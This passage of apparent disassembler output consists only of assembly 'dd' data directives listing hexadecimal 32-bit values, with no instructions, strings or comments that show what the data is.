		dd 40D80E2Bh, 0EFA035BBh, 0A60ECD03h, 93ED8612h, 1CC0A304h
		dd 0AB5EBCC0h, 37C33D7Bh, 4A806338h, 2FAC0555h,	2BECAE79h
		dd 496D003h, 0D8237B76h, 71C518h, 0D5F4A79Eh, 2FCA4E0h
		dd 2CCFF800h, 0ECC45AFBh, 0B535001Fh, 321BFAF9h, 0B101EEA8h
		dd 0DA923083h, 17FC1A0Ch, 0CAB22029h, 9E494339h, 2283574Ch
		dd 0D1652A83h, 0E5C8641Ah, 4480085h, 0BFB00299h, 9800835Eh
		dd 0EC3E60B3h, 0EA940E13h, 0B8EDF80Ah, 187C6049h, 5C2A51D9h
		dd 5411CD2Ch, 21900100h, 0E6220DC4h, 53CB009Bh,	7C831AF9h
		dd 390002DBh, 506C373Ah, 0B82EAEh, 0BA868B08h, 45BCCB61h
		dd 247BDD30h, 0FE8EFA84h, 0BDDF0051h, 544F81EBh, 60E3CAEh
		dd 40D37D5Ah, 1B568019h, 0A99E0570h, 0C0F1DD96h, 51E6D4F7h
		dd 0FE25A0Ah, 9E009756h, 0C59618C6h, 56C0094h, 0B3EDE1AAh
		dd 2600DC8Eh, 988003F8h, 632D5h, 0AA352DCDh, 0EC8A39B9h
		dd 91CA1614h, 40B400A0h, 3DAC7AE8h, 3F5B7C06h, 80BC09F1h
		dd 0C4AD1007h, 0C55C9094h, 0C3E6E0DDh, 5E119C0Fh, 0C130315h
		dd 0A908C089h, 17C7BC9h, 9F5F4E95h, 708B5B48h, 7B00B20Ch
		dd 0C724CB8Ah, 0FC10188Eh, 0F4B901B6h, 730B8BC9h, 0B5DAF0BFh
		dd 0C185A600h, 0C39AEADEh, 0DB6A00FDh, 0A1F18163h, 20003497h
		dd 583A19C2h, 1E22AB87h, 3DE05Eh, 0B235A021h, 4700DD3Bh
		dd 0A2C0ADF8h, 1938934h, 27D1BDDAh, 0FC184B51h,	0DD00A00Fh
		dd 64B281CCh, 199EC6Fh,	5228548Ah, 0C85FC605h, 29FE205Bh
		dd 10D37C00h, 0F1DC6964h, 0EFE40E49h, 5A60E5ACh, 2030B1C9h
		dd 848C8A01h, 16746388h, 0B4C2CCh, 53D20251h, 96732339h
		dd 0D116E0E2h, 9EC061A8h, 0F8BA1Eh, 5154336Ch, 0E0C28CABh
		dd 0E29B4A00h, 0A1645C38h, 0DC981EA2h, 0C75BDEBCh, 7060F8BFh
		dd 81E3BBD1h, 0E5DECC00h, 0AE696195h, 2F321C5Ah, 44604F8Ch
		dd 91885B40h, 0A70297F5h, 0CA6C795Eh, 9809401Fh, 0C0E91FD8h
		dd 0A83D00C6h, 559CCBC2h, 6772FC0Ah, 0CF84DC6Ch, 5120319Eh
		dd 0EE015A37h, 0F8B766AEh, 89D4C4A5h, 180109E0h, 3A00CE02h
		dd 326F1EEEh, 8090F03Dh, 0B1CE33Ch, 840838h, 2DA33D3h
		dd 9C6E3579h, 64789501h, 0E9A25D14h, 738401F8h,	8EE0CEh
		dd 10658992h, 9007F7B7h, 0F51C0212h, 6EE501ABh,	800AA10Eh
		dd 37A76919h, 0A51C332h, 0A5239D36h, 58003D8Ch,	0BFF0E6ACh
		dd 9900A781h, 0F3FF19Fh, 0A0BC61C9h, 0DF5CD4h, 0A6D1BAF0h
		dd 7FE75795h, 0CB410605h, 0CB00C542h, 0D73804E6h, 0F8A6005Dh
		dd 395AF948h, 70021FEh,	8B79C930h, 7BF4E62h, 0D64A1AC2h
		dd 5FED70F8h, 5507D957h, 0DDE8CE6Dh, 83B95AA0h,	7033F09h
		dd 0DBA44F80h, 0C6519EC4h, 0B84C620Eh, 34B2C03Bh, 3C6AC082h
		dd 2E8067BAh, 4F24A1D7h, 4538CEB7h, 8F7E3E13h, 58E5FEh
		dd 23A3E91Ch, 57A1000Dh, 56F63C6Fh, 8F038E16h, 3B6172DCh
		dd 0D3CBE862h, 3D54E219h, 0A8807EB7h, 4F21767Fh, 2C001D66h
		dd 0BDC38DC5h, 0D0FDCEh, 0C84519F9h, 99813ED7h,	0C4019098h
		dd 46876F1Ah, 0E930FA9Dh, 247A03h, 948A5AA5h, 22D6D88Fh
		dd 0F327210Fh, 76F08062h, 0FC11CEh, 9D7D49FFh, 5B7CE52Dh
		dd 0A5665800h, 53CD6727h, 0EF651C68h, 0FE26C0C7h, 13591E95h
		dd 0D4AE1902h, 8317628Ch, 0E0D3A7F6h, 233AFCh, 0C9BFBEA3h
		dd 9B157BADh, 0AFA5CE00h, 0C3B59D53h, 7EED03F8h, 9F046EEBh
		dd 349C95E0h, 0E40B5700h, 0C6ECABF0h, 240C00D0h, 5E0F13D5h
		dd 25176D97h, 0C9001A39h, 7B7244C5h, 8D190091h,	693FA75Ch
		dd 2078F2D7h, 52D9A200h, 0A8E3C099h, 0F8F00777h, 575C5527h
		dd 0A6A9403Ch, 0F5005646h, 82A24744h, 0F75DE5Bh, 41EFAF23h
		dd 7A8177E0h, 0E800A737h, 0F95510FBh, 6F19D3Ch,	2352E374h
		dd 180089FEh, 0F01596EFh, 74E49A9h, 0B693FAE7h,	0E0AF8F05h
		dd 0B01CD507h, 218CC37Ch, 59382C7Ch, 655A00EDh,	0FABE3542h
		dd 97F2023Dh, 0CAD7BF0Eh, 0C392402Fh, 0F667A94h, 5815DDBBh
		dd 0CB3FFEDEh, 8500D9BCh, 0C21D1A84h, 0F7183E7Bh, 79ECE0D1h
		dd 32D407C6h, 479BE790h, 3AB031A5h, 85AEEC92h, 27007277h
		dd 0BAF79903h, 10BDF6h,	21F50597h, 3C6AC2C6h, 92681500h
		dd 0FD59324Fh, 8D5100A0h, 52103E39h, 4B3F9131h,	549A80CFh
		dd 0F0D102A5h, 308B0306h, 42B37B48h, 0FF97B6C0h, 9B1DB100h
		dd 0DDFDA1C7h, 299C006Ah, 0D0FA2579h, 6200A371h, 0EA357359h
		dd 7C5744CDh, 0DB650017h, 9DB43ED5h, 831E9510h,	0E24064E5h
		dd 13F80CBDh, 65AF0E5Ch, 0D9205F1Ch, 0CED1614Fh, 0C5C17503h
		dd 984011ADh, 1E522AEEh, 0C324FCD6h, 81E60FB8h,	0E40AD1D1h
		dd 10FF1A4h, 0CEC4FAh, 0AC63B5F6h, 662A3E3Fh, 0D3764303h
		dd 90DC4846h, 0FF264BE4h, 0B6B9900h, 618541AEh,	0EA6D005Ch
		dd 4860982Fh, 0E8E9FA72h, 7700CC08h, 0DA8DC29Ch, 44E75CFh
		dd 5D473EF7h, 0FCA98089h, 0A2600116h, 8EEB8211h, 0BDC70023h
		dd 0FD51DC6Dh, 5048EE71h, 0F8C80130h, 6A04586h,	3BCE5DD4h
		dd 0B53C8313h, 0D812EE00h, 6D144C26h, 7BDC3301h, 3D29DABCh
		dd 92808854h, 47221EBh,	0EF9E0702h, 29FC589h, 7383AD30h
		dd 0D91C7440h, 0E3006AFEh, 6022080Ah, 989C158Eh, 0F1820308h
		dd 8B2A9A89h, 6D4878F0h, 0B81FE972h, 7C40106Ah,	9D63E75Dh
		dd 0A1A7EE33h, 0A8E31489h, 6F9F35h, 87FC2F99h, 9AFF9D7Ah
		dd 0AD8C6E07h, 0A880FA74h, 0E343ABh, 6BD36C89h,	889ED295h
		dd 609A960Ah, 0E04F877h, 26808B53h, 3A54D41Ch, 0DF808424h
		dd 0BA8C4F2Dh, 7A09219Ah, 0A0614112h, 4E2BC28Ch, 681EC0Eh
		dd 212A02BEh, 0BA3AB062h, 293E308Eh, 0E03F88h, 5ACE0E84h
		dd 3157FCFAh, 1D6BC700h
		dd 0C32ACD8Fh, 99B300F5h, 597C73CEh, 0F07B16F4h, 507758h
		dd 8C6D87B0h, 0D92D5Eh,	0E11301DAh, 9F481D9Ah, 0B8142901h
		dd 253CE4BDh, 0FE2F4020h, 0B304008Ch, 0A91C6AF5h, 0ED054C40h
		dd 0D3D6E81h, 0CF3E6680h, 0A67D008Dh, 7923AB35h, 0A4008237h
		dd 0E2606821h, 2C3FEF5h, 0E666C7A3h, 4940C5E8h,	6203ADA6h
		dd 9FE5C608h, 5A291C38h, 5BD240BDh, 0A8889192h,	0D04920h
		dd 0E893D48Dh, 74382BEAh, 94349200h, 88F8760Eh,	124B74B9h
		dd 5C8504h, 6D2FEF57h, 47007A10h, 26A17206h, 173E3F4h
		dd 0D41B6AD1h, 60CE7543h, 9500CBE9h, 0E0F39B62h, 0E2D3B669h
		dd 15EB3C8Ah, 4CD534E2h, 0B0A890C0h, 3244EF07h,	6291F172h
		dd 29D83C7Eh, 16DF610h,	54B0F91Eh, 0F72ED060h, 0BA4BC0A4h
		dd 5C0109B5h, 0FBD2511Ch, 0B8204536h, 0C0DA0056h, 9D5EFE40h
		dd 18079272h, 43BE9730h, 0E7306427h, 0BBE0C6h, 9DFED4C4h
		dd 3D637B38h, 0C84FA000h, 67AF5443h, 0D78700A5h, 0B88AB207h
		dd 0DE00388Fh, 0EE31599Ch, 70B47Eh, 5A14B74h, 0FAA403C4h
		dd 0C09ABC01h, 441E2F3Eh, 592DF0h, 90AA23ECh, 0FA974E74h
		dd 0D09B4A00h, 3E54DDDEh, 0CA5B00E4h, 85D878E0h, 0BA01A53Bh
		dd 2EED3C01h, 22F403EEh, 509F0389h, 0EF82E5F1h,	13D038DBh
		dd 8E00EA23h, 2645D8BAh, 4E3211h, 3A91466Eh, 65FC259Ch
		dd 0CE24C5EAh, 820068FFh, 0D28C152Eh, 18E20045h, 93D13819h
		dd 2300BDE6h, 6B547D9Eh, 6F805Ch, 61D60B4Ch, 1A03A718h
		dd 0AFFF9C00h, 959F7166h, 0CB2600BCh, 77879EECh, 8CF620CCh
		dd 18003A75h, 5E3FE48Dh, 3DB7C4AFh, 5087A72Eh, 2032D578h
		dd 0A2BB3B7Bh, 4FF9B92Eh, 0D8341D00h, 124D4769h, 4023094Bh
		dd 0D480E6CCh, 7B000467h, 20C8947Eh, 70C72B5h, 292C75A3h
		dd 0A116C0A4h, 0D8E69258h, 1C6D1003h, 74DDC948h, 678604A0h
		dd 0C0D79E89h, 3F19B89Ch, 39E44C00h, 9F13F758h,	99F057h
		dd 553648EBh, 0ED0250B1h, 0D3D13200h, 55DC122h,	4FBE0F79h
		dd 3EC05456h, 9811A038h, 0A7534B00h, 5E619D47h,	95EE0078h
		dd 21CEF4Dh, 0AC0E65F4h, 475F37A4h, 0FEC06BFCh,	0BACD0Eh
		dd 2E95F6F1h, 0B4B5F57Bh, 76038473h, 26CEE530h,	204E0056h
		dd 2CC67036h, 0B49EA54h, 0CD0F0070h, 0A3F0E6F8h, 887E0183h
		dd 118E078Ch, 1802D8CCh, 0E91EC607h, 0B5A042E8h, 7AA430h
		dd 0E5505FF5h, 0A3A68CC9h, 0CE2A8900h, 332FB2C4h, 0A4E1E8Ah
		dd 0B7EA8AA8h, 0C230ABCh, 53250038h, 9B6BF0E1h,	4995B600h
		dd 69756643h, 42BB1CE4h, 31D2437Bh, 2F3F99Ah, 0C53E46C8h
		dd 0C38FCAC0h, 7D2C440h, 0A8C0B3B2h, 9452E130h,	33E8F4C9h
		dd 575AAE00h, 4F8CB57Ah, 5BD400E9h, 0FA31A3AFh,	47E68FC6h
		dd 66B0DCA8h, 2DCCC400h, 0F606B31Ah, 46C700AAh,	0FFDB30D6h
		dd 0F00EADC3h, 0ABC92Bh, 3180B483h, 12A2E80Dh, 0C053EAh
		dd 0CB42D534h, 88005BFEh, 700DEB6Dh, 30D3EA45h,	8186C51h
		dd 14135228h, 980FE7AFh, 32C61E87h, 884140h, 54AD676Ah
		dd 7B909216h, 86C3AA06h, 0A91770h, 7EF7E211h, 280930Dh
		dd 594A4500h, 34C7CCAFh, 762B00CDh, 0ADF53E08h,	9309E670h
		dd 3569BBh, 8853C616h, 32780026h, 1202CF92h, 2C007F4Fh
		dd 0CA98C835h, 18D04D66h, 4041FFFEh, 0F500166Ch, 0C0386080h
		dd 7B4EF8C2h, 0E28098A9h, 1E5200AEh, 2EF0B76Eh,	9002C38Eh
		dd 12AFBA76h, 0CEBCE0FAh, 111B0091h, 56A917F3h,	3A054FF7h
		dd 6BD204F9h, 1F02901Dh, 40D9D74Dh, 117E50h, 1DCCEF87h
		dd 0A4C7EC05h, 21C4F9CFh, 0C82CCBF9h, 7680F571h, 0F60C0F8Ch
		dd 0AB60E224h, 87BF58B0h, 84715C4Dh, 0B7553507h, 0C64EC07Eh
		dd 0E126F8DCh, 0EE001437h, 6CC19F63h, 0F98F033Dh, 0D292CFC5h
		dd 0A66DEF90h, 31009890h, 6B5264C1h, 0A04A56h, 6F2E5898h
		dd 0D88B221Fh, 0F6E4300h, 0C25CE2CEh, 0F0B22Ah,	7C0989DDh
		dd 0EE764F9Dh, 0CC50BDEAh, 31004BECh, 7DFD67B5h, 469E0Dh
		dd 7E15E4D2h, 0C83FBA69h, 0F55DAC03h, 0F8750739h, 6E592AEh
		dd 7AAD9B67h, 3A4C612Fh, 3A2526DAh, 36351500h, 13813B8Eh
		dd 1663F71h, 0F81EAF2Dh, 69C5259h, 0ADE20820h, 20C92EFh
		dd 0BA13BB4Bh, 56C09254h, 0E21D4223h, 48308BA3h, 358731h
		dd 759BCD24h, 7672C167h, 0F32F5FEAh, 0ECD450A6h, 6CC700AFh
		dd 864AFEB5h, 961C97B8h, 43C646A1h, 0F4D906h, 485ADF72h
		dd 3BB041Eh, 52A19500h,	60BDAE77h, 0B6573970h, 734B5A00h
		dd 0F6ACF1D7h, 0ECBE3300h, 55C078FEh, 0B4341E47h, 8C398023h
		dd 0F1016482h, 7D9191Ch, 8A7F040h, 0CECE721h, 7EE0496Bh
		dd 0D60389F6h, 281A90B7h, 3D300B29h, 0F18EDE20h, 7BEF7E01h
		dd 0E87FF82Eh, 16276300h, 840B2B5Bh, 0F12F0054h, 1EE669B1h
		dd 0EB0044BBh, 52A5935Ch, 15733Ah, 0F2FF619Fh, 8F895D2Bh
		dd 3B04ED4Ch, 91948CF0h, 49118Ch, 0A7A467F6h, 48D1E3BAh
		dd 2D0030E0h, 0E062F2D4h, 28EF4AE8h, 88A2E9h, 1DFFFC32h
		dd 56738928h, 60F5EB00h, 978F6AAFh, 2B61013Eh, 79338E70h
		dd 11B8E799h, 86123C1Eh, 10070FFCh, 40E2A787h, 0AC19E1B8h
		dd 0A5963080h, 0D443593Bh, 0E90A4F00h, 5DE275FCh, 5A2D0704h
		dd 0B01A36C0h, 41DBB47Ch, 11AF54Ch, 0B618AA99h,	5860962Ah
		dd 0DCE40EA9h, 0E587C547h, 832DF4F4h, 0C4A08D84h, 770F2AF6h
		dd 404F0508h, 0E86318D8h, 785101E3h, 20605E69h,	0A02288h
		dd 91638B43h, 0F72ACFh,	8381B452h, 51973DB9h, 8311B13Fh
		dd 8DC558F0h, 0C433E0BCh, 5F781340h, 0A38C0F6Ch, 0FC50DCC3h
		dd 24B5C7A8h, 5D03D096h, 0E0F6E861h, 49260763h,	5248C07Ah
		dd 0A3D10B78h, 0FC207F7Bh, 3AA90998h, 0AA2428F6h, 8E008415h
		dd 665BC862h, 472101C1h, 8F3360B1h, 833060ECh, 2609AE90h
		dd 6051BF07h, 49CB8h, 76449B6Dh, 66C47A20h, 87F6E602h
		dd 6181343Fh, 8E406AD4h, 0FA44B68h, 2E9740BAh, 939C5020h
		dd 91C0667Fh, 55A90BDEh, 0B17E098Bh, 0BCE04534h, 20704BECh
		dd 1C8AAD00h, 94B49A1Eh, 6BBD126Fh, 2EE400F2h, 60730D7Fh
		dd 356E6200h, 0E8E2E04Ah, 60B09680h, 5B193140h,	0E50B7300h
		dd 3CFA0569h, 1E6EF8BFh, 16676CDh, 0F06DA39Eh, 78BED429h
		dd 8FBAE209h, 12A4806Bh, 987C4EF7h, 6F0B1828h, 9FB9A160h
		dd 0B668A100h, 363CE4EDh, 42320746h, 0F003ECC6h, 1E238A87h
		dd 86FED139h, 0D9A6CFE6h, 9DC31211h, 21D10124h,	80B49BCAh
		dd 1F9F4F19h, 71007C2h,	0E2607643h, 3B535051h, 0C603C3DBh
		dd 49E1A48Dh, 5C209F03h, 0CF572h, 0FAF05595h, 5194C94Dh
		dd 1B801000h, 1AA2318Eh, 907401C5h, 0CD0916B1h,	5D84C473h
		dd 0B45F8A00h, 7DEEF8C3h, 23B20FE8h, 17479368h,	5237008Eh
		dd 0B805C33Dh, 0A763F178h, 0C23060D0h, 4AC89A41h, 0D9E80266h
		dd 8CA17F19h, 60D43B33h, 4378BBC3h, 76C07D00h, 25480392h
		dd 388838C5h, 9B741389h, 0FBC69301h, 4B7DC8A3h,	65031A1Ch
		dd 3ADE9Ch, 43DF6FFFh, 13F98C2h, 36E0EE20h, 0D814DD19h
		dd 0E6000D03h, 3B730737h, 12C9BC91h, 93650Fh, 131D2C2Ch
		dd 420E63A4h, 0E385FA21h, 0C0908114h, 0FC5CFBh,	78EADD1Eh
		dd 0EB29B973h, 1438BCB0h, 0BEBE28h, 5B23FB4h, 1675D55h
		dd 0A973AABFh, 0C5D69688h, 9BC20F3h, 11006472h,	0F20EC394h
		dd 731D9FA0h, 0C12F0FACh, 6687E1D7h, 0E4EA105Dh, 0F0B83FB7h
		dd 32F49D00h, 0B4878B54h
		dd 7830F570h, 0FF6F0065h, 1CB04378h, 0E9005399h, 6D147B05h
		dd 0F069FAE7h, 0B6EC54h, 8A4BE47Ah, 0A5647EA9h,	5303F698h
		dd 0A103595h, 0B3AB898h, 17030023h, 455EC588h, 0F80591A2h
		dd 0B535EBC7h, 933CF080h, 0F3510163h, 0D52943AAh, 0C17EE0E3h
		dd 4855D203h, 0D36CEECBh, 0BC28E0C8h, 42BE0E9Bh, 33A0D8EAh
		dd 626FA4B9h, 0CC05940Eh, 0E6D1C2D6h, 0C690818Fh, 42CE365h
		dd 0EECA5B00h, 0BEB363C5h, 0A8063301h, 7BD32636h, 7A160h
		dd 628077D9h, 47678909h, 9B467C00h, 9CFB7021h, 405C0B06h
		dd 1B000F39h, 675AA5A0h, 0E7E61C00h, 7DD3AC44h,	0F111E9Dh
		dd 85DC873Dh, 3B87800Bh, 0B3005A6Fh, 0FC157088h, 0EEB1DAB7h
		dd 58310081h, 1C1990DBh, 0C50017C3h, 82294B8Ah,	1DADBBh
		dd 4341272Ch, 685C0C88h, 38DF6201h, 467720A8h, 9DFAE4h
		dd 9984A510h, 0AFC14BBCh, 0C9BD4E00h, 0AE78BF7h, 0E4B61C44h
		dd 488A40F1h, 0A029033Bh, 0CB5B9700h, 0D6783746h, 0C8E0A08h
		dd 3F4791Dh, 7E0796FCh,	985B50D0h, 0E10BA51Eh, 0E827D4A8h
		dd 47EC8F51h, 8CC72B85h, 0C0AC42C3h, 0B8B70D8Fh, 0B4473B3Ch
		dd 7445B9Eh, 5F34812Fh,	18278E0h, 61008640h, 0AE885E1h
		dd 0A090BD3Dh, 44B5D2D4h, 5E01393Fh, 3F410C8h, 0D820CE33h
		dd 0F57E27Fh, 0B6F14609h, 60B0848Ah, 1E0593AEh,	965BD2C0h
		dd 758074A0h, 0F5CE0120h, 24F8DB3Ah, 0A7A2E47Dh, 43C80200h
		dd 44A94F0Fh, 4280964Ch, 1B004D15h, 9A80Bh, 46268BD8h
		dd 3C789DC4h, 7A51900h,	22E4B047h, 1EE503E1h, 73F995E9h
		dd 0C6247AF0h, 0F0708F17h, 3F0AF840h, 2AE54Fh, 0CC133559h
		dd 31EC4C4Bh, 6A862000h, 6460A690h, 7FABFC5Fh, 7F9100F3h
		dd 9D468FDCh, 0BC1C1CEFh, 7400E9CFh, 0A97C0F7h,	47B1004Eh
		dd 19B03D56h, 9000F160h, 91728D10h, 7574F38h, 0CC76480Bh
		dd 948E61B8h, 1E807E29h, 1E69434Ch, 752BD5h, 54C2DB9Eh
		dd 0ED0009FBh, 72F74EC9h, 9B28FEh, 0AEC31D86h, 0A42657ACh
		dd 5137B300h, 0BF54FC1Ch, 302F1C7Fh, 759E001Dh,	6FE1C443h
		dd 6276DB7Bh, 4810B209h, 7F74C165h, 12AC864h, 0C3F11483h
		dd 207CBE09h, 2C037794h, 6653BD06h, 53788A5h, 0E0E20117h
		dd 93C40882h, 9E9EE5C7h, 72CFCC48h, 40E26581h, 73F3C400h
		dd 0F5F0EEh, 0FE9B7C1Ah, 0D058553Ch, 18934B26h,	0C2BB2C0Bh
		dd 1F4360C8h, 3E280012h, 219F86FFh, 3C9091F7h, 2037362Fh
		dd 84D45D2Ch, 29230146h, 2C2EDF07h, 0F0C8E62Fh,	0B2005EB8h
		dd 1F02F82Dh, 7F51549h,	0D02A4166h, 422010B0h, 0A90F4B8Dh
		dd 0E47E08D9h, 60B009D8h, 1CB80Bh, 0FB584F03h, 677A5C45h
		dd 9E51EF09h, 397005D7h, 0B8CA00FFh, 0AA49C11Dh, 82382709h
		dd 0D5D80048h, 350F167h, 0FD013123h, 7E887C8Ch,	6D009944h
		dd 0F79327F2h, 25A46E3h, 3387E66Ah, 78707A7Bh, 80D0413Dh
		dd 5B1B44Ah, 3136254Bh,	2248F357h, 1FACF032h, 93B76414h
		dd 1B0171D6h, 5A6A9AB0h, 0D6D81059h, 91E7ED5h, 0C2AD1728h
		dd 0E1508801h, 0D6B700A2h, 74430076h, 1826C332h, 0E7E87C9Dh
		dd 8DA9BC1Fh, 0C9D3BA80h, 1AD5B84h, 0DFBE4C5h, 0F79485B2h
		dd 0C4596EC0h, 53CA848h, 4D96A99Ah, 0B29B20C0h,	0BEE70F8Ah
		dd 1C20191Ah, 27D09857h, 0D55A3700h, 0B57EB88Fh, 974B0774h
		dd 0A42CAB1Fh, 83B3C09Ch, 7900C32Dh, 7F3B009h, 0A0228525h
		dd 56BA5E4h, 0C8C5FAAFh, 80518419h, 964359D8h, 0DE3C3800h
		dd 6585023h, 0EABD0711h, 4019EDF0h, 0C8F62D9Fh,	0D200577Bh
		dd 0F5A121B0h, 4A13EEh,	0AEB5935Ah, 0CEC39B47h,	0F202673Ch
		dd 0B828C09h, 6E130FCCh, 1736CED8h, 8F1AB400h, 23C8E6h
		dd 31DC6D6h, 0F53A7478h, 6F001E7Bh, 84EBD47Fh, 0F2AD236h
		dd 485FB146h, 6BEC00B2h, 401058F2h, 2D076677h, 1179FDA0h
		dd 1A92002Fh, 3EAE9862h, 0A200F12Bh, 6C9A52FFh,	99002C37h
		dd 0A343DC87h, 22EF065h, 702688C2h, 0D4009891h,	12892C7Ch
		dd 0B12B9A36h, 0B6F3CC38h, 0F98BF400h, 71083DE8h, 0F84F0E7h
		dd 0C6D2469Bh, 3F0F26E0h, 7B30B989h, 0B51E38E9h, 64241D4Ch
		dd 731E6A7h, 80A63391h,	0D4772674h, 4984DE0h, 79A94817h
		dd 38C3BC40h, 77FB34Ah,	6ECDEC68h, 0A567E0EDh, 0A177F77Dh
		dd 0EE224C00h, 0CDF2D226h, 0CA650546h, 0C17290A7h, 0D43CA5D4h
		dd 0A42C5C78h, 0CC00F8E1h, 0AD6A8B64h, 532100A3h, 0D975B84Fh
		dd 0DC009B2Bh, 6D84871Ch, 5D46266h, 14449131h, 0A7857Ah
		dd 2EC480DCh, 0F70F58B0h, 0E039860Ch, 0F684BD20h, 8F880316h
		dd 0ADB20942h, 0E0CCE5E1h, 0BF0008EAh, 0CDE1C7FDh, 0F815F838h
		dd 62D80299h, 0A412857Bh, 236A3C60h, 0E020FA4Ah, 3F99C8AFh
		dd 8401F8B0h, 0B787B0Eh, 0DC8040A6h, 5000B716h,	0F1949275h
		dd 5BB54Bh, 0E94FA9AFh,	7CFE79D2h, 0C1118A60h, 2522838h
		dd 0DD9E9F24h, 827DEA46h, 40726970h, 3E1DA420h,	3FBCC623h
		dd 44895DA7h, 58F7C500h, 0F90F2FE5h, 80D1F0E6h,	79342841h
		dd 81520ED9h, 462098A6h, 99F3661Fh, 9487C328h, 32B33800h
		dd 3A9A6430h, 0DD9B0003h, 7A404136h, 0D094A70Ch, 80007F13h
		dd 376D3313h, 0A91C1C8Fh, 0BF424773h, 0CF01C2B3h, 0AF00E858h
		dd 0F8D1E1EAh, 88184Ch,	623D673Fh, 0D566432Bh, 0EB3961F0h
		dd 0CF2D0108h, 9470DC47h, 3C8D434h, 0F867222Eh,	7800FC0Fh
		dd 717F14D5h, 7150C947h, 44FF0089h, 8C3EF5C8h, 0BAFE1227h
		dd 33041400h, 0E034B883h, 0B09B0A8h, 1A477C41h,	37665401h
		dd 0FCE105Fh, 5B9D0131h, 3C3F51Dh, 0EB96402Eh, 9505A667h
		dd 0BB26057Fh, 0AED8B4h, 0C35B0E91h, 13D9A498h,	828760Fh
		dd 5A70C39Ch, 1E49719Bh, 0C0148EEEh, 924B1C4Ch,	0B10F02FCh
		dd 1DAC7616h, 0BF617140h, 7FB5DBA3h, 27FD0029h,	4878D19Dh
		dd 8D12994Fh, 0F40338CBh, 90ACEDE5h, 1F0ABC47h,	40A571F4h
		dd 0C4B5760Bh, 2F0037CEh, 4BAFB722h, 5C5C6A84h,	1F78032Ah
		dd 817C4A42h, 3DB9C70Ch, 0A083476Fh, 94BBE35Bh,	0E6095DECh
		dd 1972A50h, 0BD7B180Ch, 0A0C8E4FCh, 4C3B4CE4h,	0A52472DBh
		dd 0C26200C4h, 43A38E73h, 24CC2926h, 0FE515F06h, 9881B041h
		dd 4830C4D1h, 903C8101h, 0BB82F40Ch, 0BF765300h, 42C4C98Bh
		dd 193A001Ah, 547A58E8h, 551385F7h, 5B00D844h, 682B797Fh
		dd 0BDB73B6Ah, 54D60381h, 0F918C924h, 3360800Dh, 9D20EA3Bh
		dd 63D00F8h, 2ED8D3D9h,	680317D2h, 0CEF7902Fh, 36390065h
		dd 0B1550F69h, 0AA12376Fh, 18901F3Bh, 170EBD2h,	0FC0895DEh
		dd 3066F30Ah, 50B8E68h,	39A9CCh, 0CEC5334Eh, 0A6D813B1h
		dd 0AE40030Dh, 27E0378Dh, 21C3BD07h, 0C82025B9h, 9C4DE94h
		dd 0F2D921D1h, 9BFDC82h, 87084878h, 8036ABB4h, 33B140E9h
		dd 0F648BE59h, 0EC670C7Ch, 312422h, 0FFFE8996h,	8C5223A8h
		dd 9115400h, 0B8F2DCE8h, 0B31F2E6Ah, 5FB989CCh,	3C5800A0h
		dd 9F03097Fh, 19598F94h, 9D180050h, 0B8C5D708h,	760EBFE3h
		dd 0C0C33D21h, 0C8759B68h, 43212C6h, 848E01A7h,	3C6FB5EDh
		dd 0FB8612F8h, 0D1D10482h, 2C7A091Ch, 0A70708A1h, 0E844C680h
		dd 90B16527h, 189EFAE0h, 0A1F5A6A8h, 0B00558Fh,	0A95A10F2h
		dd 151FE0h, 877EB19Ch, 3F597F1Bh, 0CD00BC94h, 47CA73F7h
		dd 0E19000E7h, 1F0E1115h, 9F59E59Eh, 9778006Ch,	1CB81953h
		dd 0E69B0088h, 0C2894946h, 0BD008F6Fh, 3AA32DADh, 79E7B085h
		dd 671200E2h, 0EFA21B20h
		dd 2D25B7DCh, 0D5F8C873h, 0AE7403FCh, 332B76C1h, 3472A291h
		dd 42034B48h, 0B0ACF68Eh, 0A8DF9074h, 0FE730E2Fh, 0F961BBD4h
		dd 0E0D6F86Ah, 0AE0057E2h, 0E9BAE387h, 0ED480h,	0F824FBE1h
		dd 0CA118DEBh, 61FE4C01h, 0C2839760h, 6F4BE8h, 0F6DDAA81h
		dd 0D235B25Dh, 0BB59E70Eh, 0E33EE36Ah, 0B0F1D0F0h, 75880F05h
		dd 0F20051A8h, 0C0BA9F1Ch, 0DDF36E12h, 176A50E0h, 3967914h
		dd 5FF8CCD8h, 4032ADB1h, 4649C98h, 6D8EA30Bh, 66200BABh
		dd 32FC3F7Ch, 66039D3Ah, 0AF0B9CC6h, 92AB7AC0h,	0F22BAC1Ch
		dd 0D042AE84h, 0F00FF885h, 0C0B98E31h, 2A08EC15h, 3C849024h
		dd 649C87E4h, 0CDA280B6h, 60B9E91Eh, 0D684BCA0h, 690B12F4h
		dd 0D8C89392h, 775907AEh, 10377673h, 0EC22F411h, 71E5100h
		dd 98561D71h, 0C6E007EBh, 502A1CABh, 6C781B46h,	0B226A500h
		dd 0A206E602h, 0EA400024h, 6B993B0Bh, 3300ED59h, 0F3B36611h
		dd 0A7345Fh, 8B61D837h,	0C2C8803h, 0C245A31Fh, 7A507700h
		dd 10DAE6h, 8CDBE341h, 8296180Fh, 2B7E9D01h, 39490AE1h
		dd 1C4E7F30h, 0BE998967h, 55F28F00h, 1AFCA510h,	0FA12C6FCh
		dd 0E2019EE5h, 0B204544Bh, 7F1ACC8h, 16070989h,	0D03EA055h
		dd 9D0364B4h, 0C630D7BEh, 0B687D0D9h, 0FA450E10h, 0BD00FD77h
		dd 307338Eh, 59A70F30h,	0C6EC930h, 357729C2h, 0D10F6248h
		dd 20E410AEh, 0B4F8BBA2h, 0A6E2001Bh, 0DA58DB2Fh, 600A46Dh
		dd 7F73709Ah, 23AEF11h,	2D8F0732h, 95601E65h, 380F6A2Bh
		dd 0BED516h, 0AD944EDBh, 1C9C0EACh, 85A05446h, 0A6C59888h
		dd 8C6AC90Eh, 4E260079h, 206EF9h, 0A9834CB1h, 574A7F5Dh
		dd 68B0B376h, 3DA12A39h, 57D0070h, 1D948D1Bh, 0CA020071h
		dd 0A80E4C5h, 69009D87h, 8843EAC3h, 197CFAFh, 3E7F3D0Eh
		dd 50327C04h, 4B120D84h, 0BC5B3B28h, 0AE2C6500h, 43A4504Fh
		dd 88235451h, 10D900D2h, 0A1777E57h, 0E701FFBCh, 6F7558F0h
		dd 0B260F649h, 0EC98009Fh, 0AF6A22F2h, 0BF00B6D0h, 62AD97ABh
		dd 84FCF5h, 993DDF2Bh, 59572483h, 0B6F08703h, 0B0C19B18h
		dd 0A74601Ah, 0A7096B3Bh, 1882097h, 53E21EF2h, 0D4E6BF54h
